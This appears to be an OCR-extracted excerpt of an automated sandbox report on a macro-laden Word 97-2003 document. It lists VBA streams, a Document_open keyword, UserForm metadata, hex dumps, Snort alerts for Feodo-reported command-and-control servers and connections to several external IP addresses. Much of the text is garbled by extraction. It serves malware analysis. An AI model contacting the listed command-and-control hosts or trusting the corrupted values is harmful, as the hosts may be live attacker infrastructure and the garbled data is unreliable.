"imfriCGFb.tYNKga.WYPiZwEHH"
"fRHrGnFp.uWItAIHCL.WYWvIWT"
"XKxXU0JG

Close

RtfzGtt

tWXilJDnz

bgoslAl
"fYgreeAl.UbBaCOpIW.ibhMgA"
vmJnC

Function

GKsgQaAGE

'FpWwxECGKS

I0QNDFH

OahWDBD
"HvKRFHh.hsVhH.bZBNF"
hTTQEJEAC:
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Keyword
yPgfxADJ
RBFRbHBg
nMdUMIeFB:

"YWibCdgEJ.NDhrE.WdBFBFE"

zNPNECKYX:

'gfQxcwC

0jGSFHEEF
"CaxOH.vXPgFHoe.agirlF"

"HImgHKBC.MyfFGEI.rTJw"

DillF
TOMwIrgJd

"aRotQ.FHGaEABuUl.JNHZBdF"

HUPVNnVFAA
KMChE

VBA Code

VBA File Name: J7Imk7xauqcok9, Stream Size: 683

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code

VBA File Name: T6édwlv_ivpoiq2, Stream Size: 1109

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

Private
VB_Exposed
Attribute
VB_Creatable
VB_Name
Document_open()

VB_Predeclaredld

Copyright null 2021

Macros/VBA/J7Imk7xauqcok9
J7Imk7xaugcok9
683

01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff f ff 23 02 00 00 77 02 00
00 00 00 00 00 01 00 00 00 1b cf 26 ba 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Macros/VBA/T6dwlv_ivpoig2
T6dwlv_ivpoiq2
1109

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff e5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 1b cf f7 ce 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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Keyword
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: UserFormil, Stream Size: 1158

General

Stream Path: Macros/VBA/UserForm1

VBA File Name: UserForml

Stream Size: 1158

Data ASCIl: @....... L....... G D
.................. X ot e ME

Data Raw: 01 16 01 00 00 fO 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 47 03 00 00 9b 03 00

00 00 00 00 00 01 00 00 00 1b cf cf 59 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword

False

VB_Exposed

Attribute

VB_Name
VB_Creatable
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: UserForm2, Stream Size: 1159

General

Stream Path: Macros/VBA/UserForm2

VBA File Name: UserForm2

Stream Size: 1159

Data ASCIl: @....... L....... G, MQ ...
.................... X ot ME

Data Raw: 01 16 01 00 00 fO 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 47 03 00 00 9b 03 00

00 00 00 00 00 01 00 00 00 1b cf 4d 51 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword

False

VB_Exposed

Attribute

VB_Base

VB_Name
VB_Creatable
VB_Predeclaredld
VB_GlobalNameSpace
VB_Customizable

VB_TemplateDerived

Copyright null 2021 Page 34 of 74



VBA Code

VBA File Name: UserForm3, Stream Size: 1160

General

Stream Path: Macros/VBA/UserForm3

VBA File Name: UserForm3

Stream Size: 1160

Data ASCIl:

Data Raw: 01 16 01 00 00 fO 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 47 03 00 00 9b 03 00

00 00 00 00 00 01 00 00 00 1b cf ad 34 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword

False

Attribute

VB_Name
VB_Creatable
VB_Predeclaredld
VB_Base
VB_Customizable
VB_TemplateDerived
VB_Exposed
VB_GlobalNameSpace

VBA Code

VBA File Name: UserForm4, Stream Size: 1160

General

Stream Path: Macros/VBA/UserForm4

VBA File Name: UserForm4

Stream Size: 1160

Data ASCIl:

Data Raw: 01 16 01 00 00 fO 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 47 03 00 00 9b 03 00

00 00 00 00 00 01 00 00 00 1b cf 82 be 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
VB_Creatable

False

VB_Exposed

Attribute

VB_Name
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: UserForm5, Stream Size: 1160
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General

Stream Path: Macros/VBA/UserForm5

VBA File Name: UserForm5

Stream Size: 1160

Data ASCIl: @....... L....... G, Mo
................... X ot ME

Data Raw: 01 16 01 00 00 fO 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff f f ff 47 03 00 00 9b 03 00

00 00 00 00 00 01 00 00 00 1b cf 6d 9e 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword

False

VB_Exposed

Attribute

VB_Base

VB_Name
VB_Creatable
VB_Predeclaredld
VB_GlobalNameSpace
VB_Customizable

VB_TemplateDerived

VBA Code

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 114

General

Stream Path: \x1CompObj

File Type: data

Stream Size: 114

Entropy: 4.2359563651

Base64 Encoded: True

Data ASCII: ...F ...Microsoft Word 97-2003 Documen
to.o... MSWordDoc..... Word.Document.8..9.q............

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 20 00 00 00

4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44 6f 63 75 6d 65 6e 74
00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e
74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5DocumentSummarylnformation

File Type: data

Stream Size: 4096

Entropy: 0.252421588676

Base64 Encoded: False

Data ASCIl: +, 0 h.o...... p.....
T
................................ M o

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5

cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c¢ f9 ae 30 00 00 00 e8 00 00 00 Oc 00 00 00 01 00 00 00

68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

Stream Path: \xX5Summarylnformation, File Type: data, Stream Size: 600

General

Stream Path: \x5SummaryInformation
File Type: data

Stream Size: 600
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General

Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 7819

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Data, File Type: data, Stream Size: 99189

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

4.34240296201

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 €0 85 9f
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 28 02 00 00 11 00 00 00 01 00 00 00 90
00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 74 01 00 00 04 00 00 00 5¢ 01 00 00 05 00 00
00 a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 40 01 00 00 09
00 00 00 d0 00 00 00

1Table

data

7819
5.72407558388

True

6...6...6...6...6...6...6...6...6...6...6...

0a 06 0f 00 12 00 01 00 73 01 Of 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00

Data

data

99189
7.38975684507

True

758301 00 44 00 64 00 00 00 00 00 00 00 Oa 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 67
eb 2c 62 01 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0f 00 04 fO 6a 00 00 00 b2 04 Oa fO 08 00 00 00 01 04 00 00 00 Oa 00
00 63 00 Ob f0 38 00 00 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 00 00 10 00 ff 01 00 00
08 00 80 c3 14 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 904

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 296

General
Stream Path:
File Type:
Stream Size:

Entropy:

Copyright null 2021

Macros/PROJECT

ASCII text, with CRLF line terminators
904

5.33413393328

True

ID="{490CFC11-6E1C-45C7-A7C0-870828CD4971}"..Docum
ent=T6dwlv_ivpoig2/&H00000000..Package={AC9F2F90-E87
7-11CE-9F68-00AA00574A4F}..BaseClass=UserForml..Base
Class=UserForm2..BaseClass=UserForm3..BaseClass=User
Form4..BaseClass=UserForm5..Module=Dwztpwkmgv8qg902

49 44 3d 22 7b 34 39 30 43 46 43 31 31 2d 36 45 31 43 2d 34 35 43 37 2d 41 37 43 30 2d 38
37 303832384344 343937 317d220d 0a 44 6f 63 75 6d 65 6e 74 3d 54 36 64 77 6¢ 76
5f 69 76 70 6f 69 71 32 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 50 61 63 6b 61 67 65 3d 7b
4143 39 46 32 46 39 30 2d 45 38 37 37 2d 31 31 43 45 2d 39 46 36 38 2d 30 30 41 41 30 30
353734413446 7d 0d

Macros/PROJECTwm
data

296

3.8062024914
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General

Base64 Encoded: False

Data ASCII: T6dwlv_ivpoig2.T.6.d.w.l.v._.i.v.p.0o.i.q.2...UserForm1.U.s.
.r.F.o.rm.1...UserForm2.U.s.e.r.F.o.r.m.2...UserForm3.U.
s.e.r.F.o.r.m.3...UserForm4.U.s.e.r.F.o.r.m.4...UserForm5.
U.s.e.r.F.o.r.m.5...Dwztpwkmgv8q9028r.D.w.z.t.p.w.k.m.g.v

.8.9.9.0.2.8.r...37Imk7x

Data Raw: 54 36 64 77 6¢ 76 5f 69 76 70 6f 69 71 32 00 54 00 36 00 64 00 77 00 6¢ 00 76 00 5f 00 69 00
76 00 70 00 6f 00 69 00 71 00 32 00 00 00 55 73 65 72 46 6f 72 6d 31 00 55 00 73 00 65 00
72 00 46 00 6f 00 72 00 6d 00 31 00 00 00 55 73 65 72 46 6f 72 6d 32 00 55 00 73 00 65 00
72 00 46 00 6f 00 72 00 6d 00 32 00 00 00 55 73 65 72 46 6f 72 6d 33 00 55 00 73 00 65 00
7200 46 00 6f 00 72

Stream Path: Macros/UserForm1/\x1CompObj, File Type: data, Stream Size: 97

General

Stream Path: Macros/UserForm1/\x1CompObj

File Type: data

Stream Size: 97

Entropy: 3.61064918306

Base64 Encoded: False

Data ASCIl: Microsoft Forms 2.0 Form..... Embe
dded Object...... 9. i

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00

4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00
00 00 00 00

Stream Path: Macros/UserForm1/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

General

Stream Path: Macros/UserForm1/\x3VBFrame

File Type: ASCII text, with CRLF line terminators

Stream Size: 266

Entropy: 4.62034133633

Base64 Encoded: True

Data ASCII: VERSION 5.00..Begin {C62A69F0-16DC-11CE-9E98-00AA00
574A4F} UserForm1l .. Caption = "UserForm1l"..
ClientHeight = 3015.. ClientLeft = 120.. Clie
ntTop = 465.. ClientWidth = 4560.. StartUp
Position = 1 'CenterOw

Data Raw: 56 45 52 53 49 4f 4e 20 35 2e 30 30 0d Oa 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d

3136 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55
7365 72 46 6f 72 6d 31 20 0d Oa 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 31 22 0d 0a 20 20 20 43 6¢ 69 65 6e 74 48 65 69 67
68 74 20 20 20 20 3d 20

Stream Path: Macros/UserForm1/f, File Type: data, Stream Size: 38

General

Stream Path: Macros/UserForm1/f

File Type: data

Stream Size: 38

Entropy: 1.54052096453

Base64 Encoded: False

Data ASCIl: bk

Data Raw: 00 04 18 00 00 Oc 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

Stream Path: Macros/UserForm1/o, File Type: empty, Stream Size: 0

General

Stream Path: Macros/UserForm1/o
File Type: empty

Stream Size: 0

Entropy: 0.0

Base64 Encoded: False

Data ASCII:

Data Raw:

Stream Path: Macros/UserForm2/\x1CompObj, File Type: data, Stream Size: 97
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macros/UserForm2/\x1CompObj
data

97

3.61064918306

False

01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00

00 00 00 00

Stream Path: Macros/UserForm2/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm2/f, File Type: data, Stream Size: 38

General

Stream Path:

File Type:

Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm2/o, File Type: empty, Stream Size: 0

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm3/\x1CompObj, File Type: data, Stream Size: 97

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macros/UserForm2/\x3VBFrame
ASCII text, with CRLF line terminators
266

4.62970308443

True

VERSION 5.00..Begin {C62A69F0-16DC-11CE-9E98-00AA00

574A4F} UserForm?2 Caption = "UserForm2"..
ClientHeight = 3015.. ClientLeft = 120.. Clie
ntTop = 465.. ClientWidth = 4560.. StartUp
Position = 1 'CenterOw

56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d
3136 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55
7365 72 46 6f 72 6d 32 20 0d Oa 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 32 22 0d 0a 20 20 20 43 6¢ 69 65 6e 74 48 65 69 67
68 74 20 20 20 20 3d 20

Macros/UserForm2/f
data

38

1.54052096453

False

00 04 18 00 00 Oc 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

Macros/UserForm2/o
empty

0

0.0

False

Macros/UserForm3/\x1CompObj
data

97

3.61064918306

False

01 00 fe ff 03 0a 00 00 ff ff f ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00

00 00 00 00

Stream Path: Macros/UserForm3/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

Copyright null 2021

Page 39 of 74



General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm3/f, File Type: data, Stream Size: 38

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm3J/o, File Type: empty, Stream Size: 0

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm4/\x1CompObj, File Type: data, Stream Size: 97

General

Stream Path:

File Type:

Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macros/UserForm3/\x3VBFrame

ASCII text, with CRLF line terminators

266

4.63438395848

True

VERSION 5.00..Begin {C62A69F0-16DC-11CE-9E98-00AA00

574A4F} UserForm3 Caption = "UserForm3"..
ClientHeight = 3015.. ClientLeft = 120.. Clie
ntTop = 465.. ClientWidth = 4560.. StartUp
Position = 1 'CenterOw

56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d
3136 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55
7365 72 46 6f 72 6d 33 20 0d Oa 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 33 22 0d 0a 20 20 20 43 6¢ 69 65 6e 74 48 65 69 67
68 74 20 20 20 20 3d 20

Macros/UserForm3/f
data

38

1.54052096453

False

00 04 18 00 00 Oc 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

Macros/UserForm3/o
empty

0

0.0

False

Macros/UserForm4/\x1CompObj
data

97

3.61064918306

False

01 00 fe ff 03 0a 00 00 ff ff f ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00

00 00 00 00

Stream Path: Macros/UserForm4/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Copyright null 2021

Macros/UserForm4/\x3VBFrame

ASCII text, with CRLF line terminators

266

4.62402723855

True

VERSION 5.00..Begin {C62A69F0-16DC-11CE-9E98-00AA00

574A4F} UserForm4 Caption = "UserForm4"..
ClientHeight = 3015.. ClientLeft = 120.. Clie
ntTop = 465.. ClientWidth = 4560.. StartUp
Position = 1 'CenterOw

56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d
3136 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55
7365 72 46 6f 72 6d 34 20 0d Oa 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 34 22 0d 0a 20 20 20 43 6¢ 69 65 6e 74 48 65 69 67
68 74 20 20 20 20 3d 20
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Stream Path: Macros/UserFormdl/f, File Type: data, Stream Size: 38

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserFormd/o, File Type: empty, Stream Size: 0

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm5/\x1CompObj, File Type: data, Stream Size: 97

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macros/UserForm4/f
data

38

1.54052096453

False

00 04 18 00 00 Oc 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

Macros/UserForm4/o
empty

0

0.0

False

Macros/UserForm5/\x1CompObj
data

97

3.61064918306

False

01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00

00 00 00 00

Stream Path: Macros/UserForm5/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm5/f, File Type: data, Stream Size: 38

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserFormb5/o, File Type: empty, Stream Size: 0

Copyright null 2021

Macros/UserForm5/\x3VBFrame
ASCII text, with CRLF line terminators
266

4.62202697924

True

VERSION 5.00..Begin {C62A69F0-16DC-11CE-9E98-00AA00

574A4F} UserForms Caption = "UserForm5"..
ClientHeight = 3015.. ClientLeft = 120.. Clie
ntTop = 465.. ClientWidth = 4560.. StartUp
Position = 1 'CenterOw

56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d
3136 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55
7365 72 46 6f 72 6d 35 20 0d Oa 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 35 22 0d 0a 20 20 20 43 6¢ 69 65 6e 74 48 65 69 67
68 74 20 20 20 20 3d 20

Macros/UserForm5/f
data

38

1.54052096453

False

00 04 18 00 00 Oc 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
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General

Stream Path: Macros/UserForm5/o
File Type: empty

Stream Size: 0

Entropy: 0.0

Base64 Encoded: False

Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 6101

General

Stream Path: Macros/VBA/_VBA_PROJECT

File Type: data

Stream Size: 6101

Entropy: 5.31036158418

Base64 Encoded: False

Data ASCII: B *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...2.#.9.
#.C.:.\.P.R.0O.G.R.A.~.2.\.C.O.M.M.O.N.~.1.\.M.I.C.R.O.S.
~.1.\.V.B.A.\.V.B.A.7...1.\.V.B.E.7...D.L.L.#.V.i.s.u.a.l. .B
.a.s.i.c.

Data Raw: cc 61 a3 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00

06 00 02 00 fe 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 32 00 23 00

Stream Path: Macros/VBAIdir, File Type: data, Stream Size: 1060

General

Stream Path: Macros/VBA/dir

File Type: data

Stream Size: 1060

Entropy: 6.71136712122

Base64 Encoded: True

Data ASCII: F O*..... p..H.."..d..... __Q.0..@..... = e Om.a
Lo da<o rstd.ole>.2s.t..d.o.l.eP...h.%"..*.\G{00020.430-..
LCLol 0046}#.2.0#0#C:.\Windows.\SysWOW®6.4\.e2.tlb.#
OLE Aut.omation. ..... Normal..EN.Cr.m.aQ.F.. ..... *\NC..... |
.m.! Offic.g

Data Raw: 01 20 b4 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4

04 04 02 84 5f 5f 51 00 30 00 00 40 02 14 06 02 14 3d ad 02 14 07 02 60 01 14 08 06 12 09
02128030 6d d1 61 08 00 Oc 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6¢ 65 3e 02 32
7300 74 00 00 64 00 6f 00 6¢ 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5¢ 47 7b 30 30 30
32 30 b0 34 33 30 2d 00

Stream Path: WordDocument, File Type: data, Stream Size: 42542

General

Stream Path: WordDocument

File Type: data

Stream Size: 42542

Entropy: 3.55357900009

Base64 Encoded: False

Data ASCII: FE T PR bjbj.. pa!\\p
S
....... 2

Data Raw: ec a5 c1 00 5b e0 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 6¢ a0

00 00 Oe 00 62 6a 62 6a 12 Ob 12 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
09 04 16 00 2e a6 00 00 70 61 21 5¢ 70 61 21 5¢ 6¢ 98 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff
0f 00 00 00 00 00

Network Behavior

Snort IDS Alerts
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Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
01/26/21- TCP 2404314 ET CNC Feodo Tracker Reported CnC Server TCP group 8 49169 80 192.168.2.22 184.66.18.83
13:49:03.471903

01/26/21- TCP 2404310 ET CNC Feodo Tracker Reported CnC Server TCP group 6 49172 443 192.168.2.22 167.71.148.58
13:50:01.507455

Network Port Distribution

Total Packets: 38

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Jan 26, 2021 13:48:34.894994974 CET 49167 80 192.168.2.22 35.200.206.198
Jan 26, 2021 13:48:35.085299969 CET 80 49167 35.200.206.198 192.168.2.22
Jan 26, 2021 13:48:35.085406065 CET 49167 80 192.168.2.22 35.200.206.198
Jan 26, 2021 13:48:35.139708996 CET 49167 80 192.168.2.22 35.200.206.198
Jan 26, 2021 13:48:35.330307007 CET 80 49167 35.200.206.198 192.168.2.22
Jan 26, 2021 13:48:36.680448055 CET 80 49167 35.200.206.198 192.168.2.22
Jan 26, 2021 13:48:36.762128115 CET 49168 80 192.168.2.22 107.180.12.39
Jan 26, 2021 13:48:36.883335114 CET 49167 80 192.168.2.22 35.200.206.198
